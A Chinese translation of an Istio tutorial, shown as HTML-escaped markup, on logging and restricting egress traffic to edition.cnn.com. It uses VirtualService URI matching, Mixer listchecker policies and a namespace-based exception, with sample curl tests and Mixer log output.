&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{&amp;quot;level&amp;quot;:&amp;quot;info&amp;quot;,&amp;quot;time&amp;quot;:&amp;quot;2018-06-18T13:22:58.317448Z&amp;quot;,&amp;quot;instance&amp;quot;:&amp;quot;egress-access.logentry.istio-system&amp;quot;,&amp;quot;destination&amp;quot;:&amp;quot;edition.cnn.com&amp;quot;,&amp;quot;path&amp;quot;:&amp;quot;/politics&amp;quot;,&amp;quot;responseCode&amp;quot;:200,&amp;quot;responseSize&amp;quot;:150448,&amp;quot;source&amp;quot;:&amp;quot;sleep&amp;quot;,&amp;quot;user&amp;quot;:&amp;quot;unknown&amp;quot;}
{&amp;quot;level&amp;quot;:&amp;quot;error&amp;quot;,&amp;quot;time&amp;quot;:&amp;quot;2018-06-18T13:22:58.317448Z&amp;quot;,&amp;quot;instance&amp;quot;:&amp;quot;egress-access.logentry.istio-system&amp;quot;,&amp;quot;destination&amp;quot;:&amp;quot;edition.cnn.com&amp;quot;,&amp;quot;path&amp;quot;:&amp;quot;/politics&amp;quot;,&amp;quot;responseCode&amp;quot;:200,&amp;quot;responseSize&amp;quot;:150448,&amp;quot;source&amp;quot;:&amp;quot;sleep&amp;quot;,&amp;quot;user&amp;quot;:&amp;quot;unknown&amp;quot;}
{&amp;quot;level&amp;quot;:&amp;quot;error&amp;quot;,&amp;quot;time&amp;quot;:&amp;quot;2018-06-18T13:22:58.317448Z&amp;quot;,&amp;quot;instance&amp;quot;:&amp;quot;egress-access.logentry.istio-system&amp;quot;,&amp;quot;destination&amp;quot;:&amp;quot;edition.cnn.com&amp;quot;,&amp;quot;path&amp;quot;:&amp;quot;/politics&amp;quot;,&amp;quot;responseCode&amp;quot;:200,&amp;quot;responseSize&amp;quot;:150448,&amp;quot;source&amp;quot;:&amp;quot;sleep&amp;quot;,&amp;quot;user&amp;quot;:&amp;quot;unknown&amp;quot;}
{&amp;quot;level&amp;quot;:&amp;quot;info&amp;quot;,&amp;quot;time&amp;quot;:&amp;quot;2018-06-18T13:22:59.354943Z&amp;quot;,&amp;quot;instance&amp;quot;:&amp;quot;egress-access.logentry.istio-system&amp;quot;,&amp;quot;destination&amp;quot;:&amp;quot;edition.cnn.com&amp;quot;,&amp;quot;path&amp;quot;:&amp;quot;/health&amp;quot;,&amp;quot;responseCode&amp;quot;:200,&amp;quot;responseSize&amp;quot;:332218,&amp;quot;source&amp;quot;:&amp;quot;sleep&amp;quot;,&amp;quot;user&amp;quot;:&amp;quot;unknown&amp;quot;}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;会看到关于三个请求的四条日志。三个 &lt;code&gt;info&lt;/code&gt; 级别的条目是关于 &lt;code&gt;edition.cnn.com&lt;/code&gt; 的，一条 &lt;code&gt;error&lt;/code&gt; 级别的条目就是关于 &lt;code&gt;edition.cnn.com/politics&lt;/code&gt; 的访问。服务网格的运维人员能看到所有的访问情况，并且也能通过对 &lt;code&gt;error&lt;/code&gt; 日志的搜索来查找受限访问。这是在禁止访问之前的第一个监控措施，把所有受限访问都作为错误记录下来，在某些情况下，这就足够安全了。&lt;/p&gt;

&lt;h3 id=&#34;利用路由进行访问控制&#34;&gt;利用路由进行访问控制&lt;/h3&gt;

&lt;p&gt;在启动对 &lt;code&gt;edition.cnn.com&lt;/code&gt; 的访问日志之后，自动启动了一个访问策略，只允许访问 &lt;code&gt;/health&lt;/code&gt; 和 &lt;code&gt;/sport&lt;/code&gt; URL。这样简单的策略控制可以用 Istio 路由来实现。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;重新定义 &lt;code&gt;edition.cnn.com&lt;/code&gt; 的 &lt;code&gt;VirtualService&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: networking.istio.io/v1alpha3
kind: VirtualService
metadata:
name: direct-through-egress-gateway
spec:
hosts:
- edition.cnn.com
gateways:
- istio-egressgateway
- mesh
http:
- match:
- gateways:
  - mesh
  port: 80
route:
- destination:
    host: istio-egressgateway.istio-system.svc.cluster.local
    port:
      number: 443
  weight: 100
- match:
- gateways:
  - istio-egressgateway
  port: 443
  uri:
    regex: &amp;quot;^.health|^.sport&amp;quot;
route:
- destination:
    host: edition.cnn.com
    port:
      number: 443
  weight: 100
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;注意这里加入了一个针对 &lt;code&gt;uri&lt;/code&gt; 的 &lt;code&gt;match&lt;/code&gt; 条件，会检查 URL 路径是不是 &lt;code&gt;/health&lt;/code&gt; 或者 &lt;code&gt;/sport&lt;/code&gt;。另外还要注意的是，这个条件是加入到 &lt;code&gt;VirtualService&lt;/code&gt; 的 &lt;code&gt;istio-egressgateway&lt;/code&gt; 部分，egress gateway 是一个需要注意安全的组件（参见 &lt;a href=&#34;https://istio.io/docs/tasks/traffic-management/egress-gateway/#additional-security-considerations&#34; target=&#34;_blank&#34;&gt;Egress Gateway 的安全考量&lt;/a&gt;），应该慎重对待其安全性，防止影响后续的策略实施过程。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;再次发送之前的三个 HTTP 请求：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl exec -it $SOURCE_POD -c sleep -- bash -c &#39;curl -sL -o /dev/null -w &amp;quot;%{http_code}\n&amp;quot; http://edition.cnn.com/politics; curl -sL -o /dev/null -w &amp;quot;%{http_code}\n&amp;quot; http://edition.cnn.com/sport; curl -sL -o /dev/null -w &amp;quot;%{http_code}\n&amp;quot; http://edition.cnn.com/health&#39;
404
200
200
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;会看到 &lt;a href=&#34;https://edition.cnn.com/politics&#34; target=&#34;_blank&#34;&gt;edition.cnn.com/politics&lt;/a&gt; 返回了 &lt;code&gt;404 Not Found&lt;/code&gt;，&lt;a href=&#34;https://edition.cnn.com/sport&#34; target=&#34;_blank&#34;&gt;edition.cnn.com/sport&lt;/a&gt; 和 &lt;a href=&#34;https://edition.cnn.com/health&#34; target=&#34;_blank&#34;&gt;edition.cnn.com/health&lt;/a&gt; 都返回了 200。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;VirtualService&lt;/code&gt; 的传播和生效可能需要几秒钟的等待。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;查询 Mixer 日志，看看刚才发生的请求在日志中的体现：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;kubectl -n istio-system logs $(kubectl -n istio-system get pods -l istio-mixer-type=telemetry -o jsonpath=&#39;{.items[0].metadata.name}&#39;) mixer | grep egress-access | grep cnn | tail -4
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;得到结果如下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{&amp;quot;level&amp;quot;:&amp;quot;info&amp;quot;,&amp;quot;time&amp;quot;:&amp;quot;2018-06-19T12:39:48.050666Z&amp;quot;,&amp;quot;instance&amp;quot;:&amp;quot;egress-access.logentry.istio-system&amp;quot;,&amp;quot;destination&amp;quot;:&amp;quot;edition.cnn.com&amp;quot;,&amp;quot;path&amp;quot;:&amp;quot;/politics&amp;quot;,&amp;quot;responseCode&amp;quot;:404,&amp;quot;responseSize&amp;quot;:0,&amp;quot;source&amp;quot;:&amp;quot;sleep&amp;quot;,&amp;quot;sourceNamespace&amp;quot;:&amp;quot;default&amp;quot;,&amp;quot;user&amp;quot;:&amp;quot;unknown&amp;quot;}
{&amp;quot;level&amp;quot;:&amp;quot;error&amp;quot;,&amp;quot;time&amp;quot;:&amp;quot;2018-06-19T12:39:48.050666Z&amp;quot;,&amp;quot;instance&amp;quot;:&amp;quot;egress-access.logentry.istio-system&amp;quot;,&amp;quot;destination&amp;quot;:&amp;quot;edition.cnn.com&amp;quot;,&amp;quot;path&amp;quot;:&amp;quot;/politics&amp;quot;,&amp;quot;responseCode&amp;quot;:404,&amp;quot;responseSize&amp;quot;:0,&amp;quot;source&amp;quot;:&amp;quot;sleep&amp;quot;,&amp;quot;sourceNamespace&amp;quot;:&amp;quot;default&amp;quot;,&amp;quot;user&amp;quot;:&amp;quot;unknown&amp;quot;}
{&amp;quot;level&amp;quot;:&amp;quot;info&amp;quot;,&amp;quot;time&amp;quot;:&amp;quot;2018-06-19T12:39:48.091268Z&amp;quot;,&amp;quot;instance&amp;quot;:&amp;quot;egress-access.logentry.istio-system&amp;quot;,&amp;quot;destination&amp;quot;:&amp;quot;edition.cnn.com&amp;quot;,&amp;quot;path&amp;quot;:&amp;quot;/health&amp;quot;,&amp;quot;responseCode&amp;quot;:200,&amp;quot;responseSize&amp;quot;:334027,&amp;quot;source&amp;quot;:&amp;quot;sleep&amp;quot;,&amp;quot;sourceNamespace&amp;quot;:&amp;quot;default&amp;quot;,&amp;quot;user&amp;quot;:&amp;quot;unknown&amp;quot;}
{&amp;quot;level&amp;quot;:&amp;quot;info&amp;quot;,&amp;quot;time&amp;quot;:&amp;quot;2018-06-19T12:39:48.063812Z&amp;quot;,&amp;quot;instance&amp;quot;:&amp;quot;egress-access.logentry.istio-system&amp;quot;,&amp;quot;destination&amp;quot;:&amp;quot;edition.cnn.com&amp;quot;,&amp;quot;path&amp;quot;:&amp;quot;/sport&amp;quot;,&amp;quot;responseCode&amp;quot;:200,&amp;quot;responseSize&amp;quot;:355267,&amp;quot;source&amp;quot;:&amp;quot;sleep&amp;quot;,&amp;quot;sourceNamespace&amp;quot;:&amp;quot;default&amp;quot;,&amp;quot;user&amp;quot;:&amp;quot;unknown&amp;quot;}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里还能看到 &lt;a href=&#34;https://edition.cnn.com/politics&#34; target=&#34;_blank&#34;&gt;edition.cnn.com/politics&lt;/a&gt; 的访问日志，只不过这次的 &lt;code&gt;responseCode&lt;/code&gt; 是 &lt;code&gt;404&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;使用 Istio 路由之后，我们成功的实现了初步的访问控制，但是如果是更复杂的需要，这种程度还是不够的。例如希望允许特定条件下对 &lt;a href=&#34;https://edition.cnn.com/politics&#34; target=&#34;_blank&#34;&gt;edition.cnn.com/politics&lt;/a&gt; 的访问，这需要一些更复杂的策略，只判断 URL 是不够的。这就需要 &lt;a href=&#34;https://istio.io/blog/2017/adapter-model/&#34; target=&#34;_blank&#34;&gt;Istio Mixer Adapter&lt;/a&gt;，（例如&lt;a href=&#34;https://istio.io/docs/tasks/security/basic-access-control/#access-control-using-whitelists&#34; target=&#34;_blank&#34;&gt;白名单&lt;/a&gt;和&lt;a href=&#34;https://istio.io/docs/tasks/security/basic-access-control/#access-control-using-denials&#34; target=&#34;_blank&#34;&gt;黑名单&lt;/a&gt;）的协助，来协助控制对 URL 路径的允许和禁止行为。借 [Policy Rules] 的帮助，这样就可以使用 &lt;a href=&#34;https://istio.io/docs/reference/config/policy-and-telemetry/expression-language/&#34; target=&#34;_blank&#34;&gt;Istio expression language&lt;/a&gt; 来实现复杂条件的定义，完成包含逻辑控制在内的复杂限制了。这些规则可以在日志和策略检查之间进行复用。另外还可以使用 &lt;a href=&#34;https://istio.io/docs/concepts/security/rbac/&#34; target=&#34;_blank&#34;&gt;Istio RBAC&lt;/a&gt;进行更复杂的控制。&lt;/p&gt;

&lt;p&gt;还有一个额外的需要就是和远程访问策略系统进行集成。如果用例中设计的组织已经有使用一些 &lt;a href=&#34;https://en.wikipedia.org/wiki/Identity_management&#34; target=&#34;_blank&#34;&gt;认证和访问管理系统&lt;/a&gt;，可能会需要配置 Istio 从这些系统中获取访问策略方面的信息。可以通过实现 &lt;a href=&#34;https://istio.io/blog/2017/adapter-model/&#34; target=&#34;_blank&#34;&gt;Istio Mixer Adapter&lt;/a&gt; 的方式来进行集成。&lt;/p&gt;

&lt;p&gt;取消掉前面我们使用路由规则实现的访问控制，接下来使用 Mixer 策略来实现。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;用之前的 &lt;a href=&#34;https://istio.io/docs/tasks/traffic-management/egress-gateway/#perform-tls-origination-with-the-egress-gateway&#34; target=&#34;_blank&#34;&gt;Configure an Egress Gateway&lt;/a&gt; 中的版本替换 &lt;code&gt;edition.cnn.com&lt;/code&gt; 的 &lt;code&gt;VertualService&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: networking.istio.io/v1alpha3
kind: VirtualService
metadata:
name: direct-through-egress-gateway
spec:
hosts:
- edition.cnn.com
gateways:
- istio-egressgateway
- mesh
http:
- match:
- gateways:
  - mesh
  port: 80
route:
- destination:
    host: istio-egressgateway.istio-system.svc.cluster.local
    port:
      number: 443
  weight: 100
- match:
- gateways:
  - istio-egressgateway
  port: 443
route:
- destination:
    host: edition.cnn.com
    port:
      number: 443
  weight: 100
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;再次发送之前的三个到 &lt;code&gt;cnn.com&lt;/code&gt; 的请求，这里会看到三个 200 的成功返回：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl exec -it $SOURCE_POD -c sleep -- bash -c &#39;curl -sL -o /dev/null -w &amp;quot;%{http_code}\n&amp;quot; http://edition.cnn.com/politics; curl -sL -o /dev/null -w &amp;quot;%{http_code}\n&amp;quot; http://edition.cnn.com/sport; curl -sL -o /dev/null -w &amp;quot;%{http_code}\n&amp;quot; http://edition.cnn.com/health&#39;
200
200
200
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;VirtualService&lt;/code&gt; 的传播和生效可能需要几秒钟的等待。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&#34;使用-mixer-策略进行访问控制&#34;&gt;使用 Mixer 策略进行访问控制&lt;/h3&gt;

&lt;p&gt;这一步中，我们使用 &lt;a href=&#34;https://istio.io/docs/reference/config/policy-and-telemetry/adapters/list/&#34; target=&#34;_blank&#34;&gt;Listchecker adapter&lt;/a&gt;，这是白名单的一个变体。用一个静态 URL 列表定义一个 &lt;code&gt;listentry&lt;/code&gt;，然后在 &lt;code&gt;listchecker&lt;/code&gt; 中用 &lt;code&gt;overrides&lt;/code&gt; 字段进行检查。如果有外部的 &lt;a href=&#34;https://en.wikipedia.org/wiki/Identity_management&#34; target=&#34;_blank&#34;&gt;认证和访问管理系统&lt;/a&gt;，可以使用 &lt;code&gt;providerurl&lt;/code&gt; 字段取而代之。下面图示显示了更新之后的 对象关系。注意这里复用了同样的策略，&lt;code&gt;handle-cnn-access&lt;/code&gt; 对日志和访问策略同样生效。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;img/egress-adapters-monitoring-policy.svg&#34; alt=&#34;Egress 监控和访问策略使用的 Instance、Rule 和 Handler&#34; /&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;定义 &lt;code&gt;path-checker&lt;/code&gt; 以及 &lt;code&gt;request-path&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: &amp;quot;config.istio.io/v1alpha2&amp;quot;
kind: listchecker
metadata:
name: path-checker
namespace: istio-system
spec:
overrides: [&amp;quot;/health&amp;quot;, &amp;quot;/sport&amp;quot;]  # 提供一个静态列表
blacklist: false
---
apiVersion: &amp;quot;config.istio.io/v1alpha2&amp;quot;
kind: listentry
metadata:
name: request-path
namespace: istio-system
spec:
value: request.path
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;修改 &lt;code&gt;handle-cnn-access&lt;/code&gt; 规则，要求将 &lt;code&gt;request-path&lt;/code&gt; 发送给 &lt;code&gt;path-checker&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;# 访问 cnn.com egress 的规则
apiVersion: &amp;quot;config.istio.io/v1alpha2&amp;quot;
kind: rule
metadata:
name: handle-cnn-access
namespace: istio-system
spec:
match: request.host.endsWith(&amp;quot;.cnn.com&amp;quot;)
actions:
- handler: egress-access-logger.stdio
instances:
  - egress-access.logentry
- handler: path-checker.listchecker
instances:
  - request-path.listentry
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;再次执行 curl 指令，发现 &lt;a href=&#34;http://edition.cnn.com/politics&#34; target=&#34;_blank&#34;&gt;edition.cnn.com/politics&lt;/a&gt; 返回了 404：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl exec -it $SOURCE_POD -c sleep -- bash -c &#39;curl -sL -o /dev/null -w &amp;quot;%{http_code}\n&amp;quot; http://edition.cnn.com/politics; curl -sL -o /dev/null -w &amp;quot;%{http_code}\n&amp;quot; http://edition.cnn.com/sport; curl -sL -o /dev/null -w &amp;quot;%{http_code}\n&amp;quot; http://edition.cnn.com/health&#39;
404
200
200
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;使用-mixer-策略进行访问控制-续&#34;&gt;使用 Mixer 策略进行访问控制（续）&lt;/h3&gt;

&lt;p&gt;在前面我们配置了日志和访问控制之后，新增一个需要就是允许在 &lt;code&gt;policics&lt;/code&gt; 命名空间内的应用能够访问 &lt;code&gt;cnn.com&lt;/code&gt; 的所有内容，并且不受监控。接下来我们在 Istio 中进行配置，完成这一要求。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;创建 &lt;code&gt;polictics&lt;/code&gt; 命名空间&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl create namespace politics
namespace &amp;quot;politics&amp;quot; created
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;在 &lt;code&gt;polictics&lt;/code&gt; 命名空间中启动 &lt;a href=&#34;https://github.com/istio/istio/tree/release-0.8/samples/sleep&#34; target=&#34;_blank&#34;&gt;sleep&lt;/a&gt;。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;如果使用了 &lt;a href=&#34;https://istio.io/docs/setup/kubernetes/sidecar-injection/#automatic-sidecar-injection&#34; target=&#34;_blank&#34;&gt;自动注入 Sidecar&lt;/a&gt;，执行：&lt;code&gt;$ kubectl apply -n politics -f samples/sleep/sleep.yaml&lt;/code&gt;，否则，就需要进行注入了：&lt;code&gt;kubectl apply -n politics -f &amp;lt;(istioctl kube-inject -f samples/sleep/sleep.yaml)&lt;/code&gt;。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;预备使用 &lt;code&gt;policics&lt;/code&gt; 命名空间中的 &lt;code&gt;sleep&lt;/code&gt; pod 来发送请求，这里定义一个环境变量来保存 Pod 名称。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;export SOURCE_POD_IN_POLITICS=$(kubectl get pod -n politics -l app=sleep -o jsonpath={.items..metadata.name})
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;这次从新的 Pod（&lt;code&gt;$SOURCE_POD_IN_POLITICS&lt;/code&gt;）中发送刚才的请求。因为我们还没有给新的命名空间中的应用设置例外，&lt;a href=&#34;http://edition.cnn.com/politics&#34; target=&#34;_blank&#34;&gt;edition.cnn.com/politics&lt;/a&gt; 还是返回了 404。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl exec -it $SOURCE_POD_IN_POLITICS -n politics -c sleep -- bash -c &#39;curl -sL -o /dev/null -w &amp;quot;%{http_code}\n&amp;quot; http://edition.cnn.com/politics; curl -sL -o /dev/null -w &amp;quot;%{http_code}\n&amp;quot; http://edition.cnn.com/sport; curl -sL -o /dev/null -w &amp;quot;%{http_code}\n&amp;quot; http://edition.cnn.com/health&#39;
404
200
200
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;查询 Mixer 日志，会看到来自 &lt;code&gt;politics&lt;/code&gt; 命名空间的访问记录：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;kubectl -n istio-system logs $(kubectl -n istio-system get pods -l istio-mixer-type=telemetry -o jsonpath=&#39;{.items[0].metadata.name}&#39;) mixer | grep egress-access | grep cnn | tail -4
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;查询结果：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{&amp;quot;level&amp;quot;:&amp;quot;info&amp;quot;,&amp;quot;time&amp;quot;:&amp;quot;2018-06-19T17:37:14.639102Z&amp;quot;,&amp;quot;instance&amp;quot;:&amp;quot;egress-access.logentry.istio-system&amp;quot;,&amp;quot;destination&amp;quot;:&amp;quot;edition.cnn.com&amp;quot;,&amp;quot;path&amp;quot;:&amp;quot;/politics&amp;quot;,&amp;quot;responseCode&amp;quot;:404,&amp;quot;responseSize&amp;quot;:76,&amp;quot;source&amp;quot;:&amp;quot;sleep&amp;quot;,&amp;quot;sourceNamespace&amp;quot;:&amp;quot;politics&amp;quot;,&amp;quot;user&amp;quot;:&amp;quot;unknown&amp;quot;}
{&amp;quot;level&amp;quot;:&amp;quot;error&amp;quot;,&amp;quot;time&amp;quot;:&amp;quot;2018-06-19T17:37:14.639102Z&amp;quot;,&amp;quot;instance&amp;quot;:&amp;quot;egress-access.logentry.istio-system&amp;quot;,&amp;quot;destination&amp;quot;:&amp;quot;edition.cnn.com&amp;quot;,&amp;quot;path&amp;quot;:&amp;quot;/politics&amp;quot;,&amp;quot;responseCode&amp;quot;:404,&amp;quot;responseSize&amp;quot;:76,&amp;quot;source&amp;quot;:&amp;quot;sleep&amp;quot;,&amp;quot;sourceNamespace&amp;quot;:&amp;quot;politics&amp;quot;,&amp;quot;user&amp;quot;:&amp;quot;unknown&amp;quot;}
{&amp;quot;level&amp;quot;:&amp;quot;info&amp;quot;,&amp;quot;time&amp;quot;:&amp;quot;2018-06-19T17:37:14.653225Z&amp;quot;,&amp;quot;instance&amp;quot;:&amp;quot;egress-access.logentry.istio-system&amp;quot;,&amp;quot;destination&amp;quot;:&amp;quot;edition.cnn.com&amp;quot;,&amp;quot;path&amp;quot;:&amp;quot;/sport&amp;quot;,&amp;quot;responseCode&amp;quot;:200,&amp;quot;responseSize&amp;quot;:356349,&amp;quot;source&amp;quot;:&amp;quot;sleep&amp;quot;,&amp;quot;sourceNamespace&amp;quot;:&amp;quot;politics&amp;quot;,&amp;quot;user&amp;quot;:&amp;quot;unknown&amp;quot;}
{&amp;quot;level&amp;quot;:&amp;quot;info&amp;quot;,&amp;quot;time&amp;quot;:&amp;quot;2018-06-19T17:37:14.767923Z&amp;quot;,&amp;quot;instance&amp;quot;:&amp;quot;egress-access.logentry.istio-system&amp;quot;,&amp;quot;destination&amp;quot;:&amp;quot;edition.cnn.com&amp;quot;,&amp;quot;path&amp;quot;:&amp;quot;/health&amp;quot;,&amp;quot;responseCode&amp;quot;:200,&amp;quot;responseSize&amp;quot;:334027,&amp;quot;source&amp;quot;:&amp;quot;sleep&amp;quot;,&amp;quot;sourceNamespace&amp;quot;:&amp;quot;politics&amp;quot;,&amp;quot;user&amp;quot;:&amp;quot;unknown&amp;quot;}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面的输出中可以看到 &lt;code&gt;sourceNamespace&lt;/code&gt; 的值为 &lt;code&gt;politics&lt;/code&gt;。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;重新定义 &lt;code&gt;handle-cnn-access&lt;/code&gt; 以及 &lt;code&gt;handle-politics&lt;/code&gt; 策略，为新的命名空间定义例外的日志和访问策略。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: &amp;quot;config.istio.io/v1alpha2&amp;quot;
kind: rule
metadata:
name: handle-politics
namespace: istio-system
spec:
match: request.host.endsWith(&amp;quot;cnn.com&amp;quot;) &amp;amp;&amp;amp; request.path.startsWith(&amp;quot;/politics&amp;quot;) &amp;amp;&amp;amp; source.namespace != &amp;quot;politics&amp;quot;
actions:
- handler: egress-error-logger.stdio
instances:
- egress-access.logentry
---
# 访问 egress cnn.com 的规则
apiVersion: &amp;quot;config.istio.io/v1alpha2&amp;quot;
kind: rule
metadata:
name: handle-cnn-access
namespace: istio-system
spec:
match: request.host.endsWith(&amp;quot;.cnn.com&amp;quot;) &amp;amp;&amp;amp; source.namespace != &amp;quot;politics&amp;quot;
actions:
- handler: egress-access-logger.stdio
instances:
  - egress-access.logentry
- handler: path-checker.listchecker
instances:
  - request-path.listentry
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;在 &lt;code&gt;$SOURCE_POD&lt;/code&gt; 中重复执行测试：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl exec -it $SOURCE_POD -c sleep -- bash -c &#39;curl -sL -o /dev/null -w &amp;quot;%{http_code}\n&amp;quot; http://edition.cnn.com/politics; curl -sL -o /dev/null -w &amp;quot;%{http_code}\n&amp;quot; http://edition.cnn.com/sport; curl -sL -o /dev/null -w &amp;quot;%{http_code}\n&amp;quot; http://edition.cnn.com/health&#39;
404
200
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;$SOURCE_POD&lt;/code&gt; 是在 &lt;code&gt;default&lt;/code&gt; 命名空间的，所以对 &lt;a href=&#34;http://edition.cnn.com/politics&#34; target=&#34;_blank&#34;&gt;edition.cnn.com/politics&lt;/a&gt; 的访问会被拒绝。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;在 &lt;code&gt;$SOURCE_POD_IN_POLITICS&lt;/code&gt; 中重复执行测试：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl exec -it $SOURCE_POD_IN_POLITICS -n politics -c sleep -- bash -c &#39;curl -sL -o /dev/null -w &amp;quot;%{http_code}\n&amp;quot; http://edition.cnn.com/politics; curl -sL -o /dev/null -w &amp;quot;%{http_code}\n&amp;quot; http://edition.cnn.com/sport; curl -sL -o /dev/null -w &amp;quot;%{http_code}\n&amp;quot; http://edition.cnn.com/health&#39;
200
200
200
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;现在所有访问都可以通过了。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;查看 Mixer 日志，会发现看不到 &lt;code&gt;sourceNamespace&lt;/code&gt; 为 &lt;code&gt;politics&lt;/code&gt; 的条目了：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;kubectl -n istio-system logs $(kubectl -n istio-system get pods -l istio-mixer-type=telemetry -o jsonpath=&#39;{.items[0].metadata.name}&#39;) mixer | grep egress-access | grep cnn
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;dashboard&#34;&gt;Dashboard&lt;/h2&gt;

&lt;p&gt;让运维人员能够可视化的进行 egress 流量监控，也能增强安全性。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;浏览&lt;a href=&#34;https://istio.io/docs/tasks/telemetry/using-istio-dashboard/#viewing-the-istio-dashboard&#34; target=&#34;_blank&#34;&gt;使用 Grafana 进行指标可视化&lt;/a&gt;任务，完成其中的步骤 1-3。&lt;/li&gt;

&lt;li&gt;&lt;p&gt;从 &lt;code&gt;$SOURCE_POD&lt;/code&gt; 发送到 &lt;code&gt;cnn.com&lt;/code&gt; 的请求：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl exec -it $SOURCE_POD -c sleep -- bash -c &#39;curl -sL -o /dev/null -w &amp;quot;%{http_code}\n&amp;quot; http://edition.cnn.com/politics; curl -sL -o /dev/null -w &amp;quot;%{http_code}\n&amp;quot; http://edition.cnn.com/sport; curl -sL -o /dev/null -w &amp;quot;%{http_code}\n&amp;quot; http://edition.cnn.com/health&#39;
404
200
200
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;因为 &lt;code&gt;$SOURCE_POD&lt;/code&gt; 是存在于 &lt;code&gt;default&lt;/code&gt; 命名空间中的，所以对 &lt;a href=&#34;http://edition.cnn.com/politics&#34; target=&#34;_blank&#34;&gt;edition.cnn.com/politics&lt;/a&gt; 的访问会被拒绝。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;从 &lt;code&gt;$SOURCE_POD_IN_POLITICS&lt;/code&gt; 发送到 &lt;code&gt;cnn.com&lt;/code&gt; 的请求：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl exec -it $SOURCE_POD_IN_POLITICS -n politics -c sleep -- bash -c &#39;curl -sL -o /dev/null -w &amp;quot;%{http_code}\n&amp;quot; http://edition.cnn.com/politics; curl -sL -o /dev/null -w &amp;quot;%{http_code}\n&amp;quot; http://edition.cnn.com/sport; curl -sL -o /dev/null -w &amp;quot;%{http_code}\n&amp;quot; http://edition.cnn.com/health&#39;
200
200
200
